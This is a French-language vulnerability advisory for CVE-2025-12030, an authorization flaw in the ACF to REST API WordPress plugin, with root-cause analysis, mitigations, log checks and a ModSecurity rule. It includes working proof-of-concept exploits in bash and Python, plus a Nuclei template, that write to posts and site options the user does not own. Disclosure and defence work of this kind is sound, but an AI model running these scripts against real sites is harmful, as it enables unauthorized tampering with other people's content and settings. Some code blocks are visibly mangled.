
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Faille de sécurité permettant aux utilisateurs authentifiés avec un accès de niveau Contributeur de modifier les champs ACF sur des objets qu'ils ne possèdent pas.
Mots-clés : CVE-2025-12030, vulnérabilité ACF to REST API, IDOR, sécurité WordPress, exploitation authentifiée, vulnérabilité de plugin WordPress, CWE-639, modification de champs ACF, contournement d'autorisation, CVE WordPress 2025, Advanced Custom Fields, sécurité REST API
Vulnérabilité IDOR du plugin WordPress ACF to REST API (CVE-2025-12030) - Défaut de sécurité permettant à des utilisateurs authentifiés disposant d'un accès Contributeur de modifier des champs ACF sur des objets qu'ils ne possèdent pas.
Une vulnérabilité de Référence directe à un objet non sécurisée (IDOR) a été découverte dans le plugin WordPress ACF to REST API, permettant à des attaquants authentifiés disposant de privilèges minimaux de modifier des champs ACF sur l'ensemble de l'installation WordPress.
Découvert par : Kai Aizen (SnailSploit)
Publié le : 6 janvier 2026
Score CVSS : 4.3 (Moyen)
CWE : CWE-639 - Contournement d'autorisation par clé contrôlée par l'utilisateur
Plugin : ACF to REST API
Identifiant du plugin : acf-to-rest-api
Type d'attaque : Référence directe à un objet non sécurisée (IDOR)
Privilèges requis : Contributeur+ (attaque authentifiée)
Le plugin ACF to REST API pour WordPress est vulnérable à une Référence directe à un objet non sécurisée dans toutes les versions jusqu'à la version 3.3.4 incluse. Cela est dû à des vérifications de capacités insuffisantes dans la méthode update_item_permissions_check(), qui vérifie uniquement que l'utilisateur actuel possède la capacité edit_posts sans vérifier les permissions spécifiques à l'objet (par exemple, edit_post($id), edit_user($id), manage_options).
Cette vulnérabilité permet aux attaquants authentifiés disposant d'un accès Contributeur et supérieur de :
manage_optionsToutes les modifications sont possibles via les points de terminaison REST API /wp-json/acf/v3/{type}/{id}.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Métrique | Valeur |
|--------|-------|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Aucune (A:N) |
**Détail CVSS v3.1 :**
- **Vecteur d'attaque (AV) :** Réseau – La vulnérabilité peut être exploitée à distance sur un réseau
- **Complexité de l'attaque (AC) :** Faible – Aucune condition spéciale n'est requise pour l'exploitation
- **Privilèges requis (PR) :** Faible – Nécessite une authentification de niveau Contributeur
- **Interaction utilisateur (UI) :** Aucune – L'exploitation fonctionne sans aucune interaction utilisateur
- **Périmètre (S) :** Inchangé – La vulnérabilité n'affecte que le composant vulnérable
- **Impact sur la confidentialité (C) :** Aucun – Aucune divulgation d'informations
- **Impact sur l'intégrité (I) :** Faible – Modification non autorisée des champs ACF
- **Impact sur la disponibilité (A) :** Aucun – Aucun impact sur la disponibilité
## Détails techniques
### Cause racine de la vulnérabilité
La vulnérabilité réside dans la méthode `update_item_permissions_check()` qui effectue une autorisation insuffisante :```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
L'implémentation appropriée devrait vérifier les permissions spécifiques aux objets :```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Points de terminaison vulnérables
| Point de terminaison | Cible | Capacité requise (devrait être) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Articles | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Pages | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Utilisateurs | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Commentaires | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termes | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Options | `manage_options` |
### Vecteur d'attaque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.
⚠️ Uniquement à des fins éducatives et de tests autorisés
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
Action immédiate requise :
⚠️ Aucun correctif officiel n'est actuellement disponible pour cette vulnérabilité.
Ajoutez à votre functions.php du thème ou à un plugin personnalisé :
<?php
add_filter( 'rest_endpoints', function( $endpoints ) {
if ( isset( $endpoints['/acf/v3/posts'] ) ) {
unset( $endpoints['/acf/v3/posts'] );
}
if ( isset( $endpoints['/acf/v3/posts/(?P<id>[\d]+)'] ) ) {
unset( $endpoints['/acf/v3/posts/(?P<id>[\d]+)'] );
}
if ( isset( $endpoints['/acf/v3/users'] ) ) {
unset( $endpoints['/acf/v3/users'] );
}
if ( isset( $endpoints['/acf/v3/users/(?P<id>[\d]+)'] ) ) {
unset( $endpoints['/acf/v3/users/(?P<id>[\d]+)'] );
}
if ( isset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)'] ) ) {
unset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)'] );
}
if ( isset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)/(?P<id>[\d]+)'] ) ) {
unset( $endpoints['/acf/v3/terms/(?P<taxonomy>[\w\-]+)/(?P<id>[\d]+)'] );
}
if ( isset( $endpoints['/acf/v3/options'] ) ) {
unset( $endpoints['/acf/v3/options'] );
}
if ( isset( $endpoints['/acf/v3/options/(?P<id>[\d]+)'] ) ) {
unset( $endpoints['/acf/v3/options/(?P<id>[\d]+)'] );
}
if ( isset( $endpoints['/acf/v3/comments'] ) ) {
unset( $endpoints['/acf/v3/comments'] );
}
if ( isset( $endpoints['/acf/v3/comments/(?P<id>[\d]+)'] ) ) {
unset( $endpoints['/acf/v3/comments/(?P<id>[\d]+)'] );
}
return $endpoints;
} );
?>
``````php
<?php
/**
* Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
*/
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
// Only allow administrators to modify via REST API
if (!current_user_can('manage_options')) {
return new WP_Error(
'rest_forbidden',
__('You do not have permission to modify ACF fields via REST API.'),
array('status' => 403)
);
}
return $permission;
}, 10, 3);
Si vous forkez ou patchez le plugin, implémentez une autorisation appropriée spécifique à l'objet :```php
get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## Détection ### Analyse des journaux Recherchez une activité suspecte de l'API REST :```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### Vérification de plugin WordPress```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### Règles du scanner de sécurité **Modèle Nuclei:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Règles du pare-feu d'application web **Règle ModSecurity:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## Chronologie - **6 janvier 2026** - Vulnérabilité divulguée publiquement - **6 janvier 2026** - CVE-2025-12030 attribué - **Actuel** - ⚠️ Aucun correctif disponible ## Références - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - Contournement d'autorisation via clé contrôlée par l'utilisateur](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - Référence directe non sécurisée à un objet](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## Crédits **Chercheur :** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **Processus de divulgation :** Coordonné via le programme Bug Bounty de Wordfence ## Avertissement Ces informations sont fournies uniquement à des fins de recherche en sécurité et de défense. Toute exploitation de cette vulnérabilité à des fins malveillantes est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant de tester des systèmes qui ne vous appartiennent pas. ## Contact Pour toute question ou information supplémentaire sur cette vulnérabilité : - **Email :** [[email protected]](mailto:[email protected]) - **Site web :** [snailsploit.com](https://snailsploit.com) - **Organisation :** SnailSploit Security Research --- *Dernière mise à jour : 6 janvier 2026* --- ## 📚 Documentation et auteur Le compte-rendu complet, la méthodologie et les recherches liées à ce projet se trouvent sur : **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** Créé par **Kai Aizen** — chercheur indépendant en sécurité offensive. [snailsploit.com](https://snailsploit.com) · [Research](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *Même attaque. Substrat différent.*